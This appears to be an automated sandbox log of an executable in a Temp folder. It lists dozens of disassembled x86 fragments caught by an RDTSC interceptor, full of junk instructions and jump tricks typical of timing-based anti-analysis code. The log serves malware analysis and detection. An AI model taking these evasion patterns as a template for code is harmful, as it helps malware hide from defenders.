Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7BA86 second address: E7BA98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7BA98 second address: E7BA9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7BB6A second address: E7BB9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d pushad 0x0000000e sub dword ptr [ebp+122D3089h], edx 0x00000014 mov eax, dword ptr [ebp+122D2CDDh] 0x0000001a popad 0x0000001b push 00000000h 0x0000001d call 00007F43610807A9h 0x00000022 pushad 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7BB9C second address: E7BBAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F43610E8A76h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7BBAB second address: E7BC74 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F43610807A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 jno 00007F43610807A6h 0x00000016 popad 0x00000017 pop ecx 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c pushad 0x0000001d jmp 00007F43610807B9h 0x00000022 jmp 00007F43610807ABh 0x00000027 popad 0x00000028 mov eax, dword ptr [eax] 0x0000002a jl 00007F43610807AEh 0x00000030 js 00007F43610807A8h 0x00000036 pushad 0x00000037 popad 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c jmp 00007F43610807B3h 0x00000041 pop eax 0x00000042 movzx esi, di 0x00000045 push 00000003h 0x00000047 mov dword ptr [ebp+122D2FB1h], esi 0x0000004d push 00000000h 0x0000004f call 00007F43610807B8h 0x00000054 mov edi, 6674AC3Ah 0x00000059 pop esi 0x0000005a push 00000003h 0x0000005c jmp 00007F43610807ADh 0x00000061 adc si, 6F73h 0x00000066 push D05A4B0Ah 0x0000006b push eax 0x0000006c push edx 0x0000006d push ebx 0x0000006e jmp 00007F43610807B7h 0x00000073 pop ebx 0x00000074 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7BC74 second address: E7BC7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7BC7A second address: E7BC7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7BC7E second address: E7BCED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 105A4B0Ah 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F43610E8A78h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 jo 00007F43610E8A8Bh 0x0000002f jmp 00007F43610E8A85h 0x00000034 lea ebx, dword ptr [ebp+12451575h] 0x0000003a jmp 00007F43610E8A7Dh 0x0000003f xchg eax, ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F43610E8A7Eh 0x00000047 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7BCED second address: E7BD0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F43610807B5h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E8C9E8 second address: E8C9ED instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E72D8A second address: E72D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E72D90 second address: E72DAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F43610E8A7Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F43610E8A76h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E72DAB second address: E72DAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E72DAF second address: E72DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E9AC3D second address: E9AC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43610807B2h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F43610807AFh 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E9ADCE second address: E9ADD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E9ADD2 second address: E9AE04 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F43610807B6h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F43610807B1h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E9AF74 second address: E9AF7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E5CEE2 second address: E5CF07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F43610807ADh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F43610807B2h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E9B4D5 second address: E9B4E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jg 00007F43610E8A76h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E9B4E5 second address: E9B50B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007F43610807B2h 0x0000000d pop edx 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 je 00007F43610807A6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E9BD00 second address: E9BD05 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E9C00F second address: E9C024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F43610807ADh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E9C024 second address: E9C029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA3B34 second address: EA3B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jc 00007F43610807ACh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA3B43 second address: EA3B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F43610E8A76h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA3B52 second address: EA3B5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA3B5B second address: EA3B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA4016 second address: EA403C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push edi 0x0000000d jng 00007F43610807A6h 0x00000013 pop edi 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA4287 second address: EA429F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA429F second address: EA42A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA8085 second address: EA809C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F43610E8A80h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E61F12 second address: E61F42 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F43610807A6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jp 00007F43610807A6h 0x00000013 jmp 00007F43610807B1h 0x00000018 pop edx 0x00000019 pushad 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c jo 00007F43610807A6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA75FE second address: EA7612 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A7Fh 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA78EC second address: EA78F6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F43610807A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA948A second address: EA948E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA948E second address: EA94D5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F43610807A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f add dword ptr [esp], 732E7B07h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007F43610807A8h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 xor si, 7F86h 0x00000035 push A05BDF52h 0x0000003a push eax 0x0000003b push edx 0x0000003c push ecx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA94D5 second address: EA94DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA94DA second address: EA94E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA94E0 second address: EA94E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA991A second address: EA991E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA9B73 second address: EA9B77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA9B77 second address: EA9B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA9B80 second address: EA9B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F43610E8A78h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EA9FC3 second address: EA9FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EAA13E second address: EAA14D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EAA14D second address: EAA152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EAA487 second address: EAA48B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EAA48B second address: EAA48F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EAA48F second address: EAA495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EAA601 second address: EAA605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EAA605 second address: EAA665 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F43610E8A7Dh 0x0000000e jmp 00007F43610E8A7Fh 0x00000013 popad 0x00000014 nop 0x00000015 jbe 00007F43610E8A7Ch 0x0000001b mov edi, dword ptr [ebp+122D2FB1h] 0x00000021 xchg eax, ebx 0x00000022 jmp 00007F43610E8A83h 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F43610E8A86h 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EAB496 second address: EAB49A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EAB49A second address: EAB4AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F43610E8A7Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EAB4AC second address: EAB4B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EAC540 second address: EAC545 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EACF9D second address: EACFA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EACFA3 second address: EACFA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EACFA7 second address: EACFAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EADA7E second address: EADA94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F43610E8A80h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EB2B35 second address: EB2BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F43610807A8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 movzx ebx, si 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007F43610807A8h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 0000001Ch 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 push 00000000h 0x00000044 jmp 00007F43610807B7h 0x00000049 xchg eax, esi 0x0000004a jmp 00007F43610807ADh 0x0000004f push eax 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 pop eax 0x00000055 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EB2BB6 second address: EB2BBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EB5AD2 second address: EB5B08 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F43610807AEh 0x00000008 jmp 00007F43610807AFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F43610807ACh 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EB5B08 second address: EB5B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EB5B0C second address: EB5B36 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F43610807B2h 0x0000000e jmp 00007F43610807ADh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EB5B36 second address: EB5B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EB5B3F second address: EB5B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EB7E18 second address: EB7E39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F43610E8A7Ch 0x0000000c jnc 00007F43610E8A76h 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 jp 00007F43610E8A78h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EB7E39 second address: EB7E3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EB7E3D second address: EB7E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F43610E8A78h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 or dword ptr [ebp+122D296Ah], ebx 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007F43610E8A78h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EB7E8F second address: EB7E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: EB8DF5 second address: EB8E13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop ebx 0x00000010 rdtsc
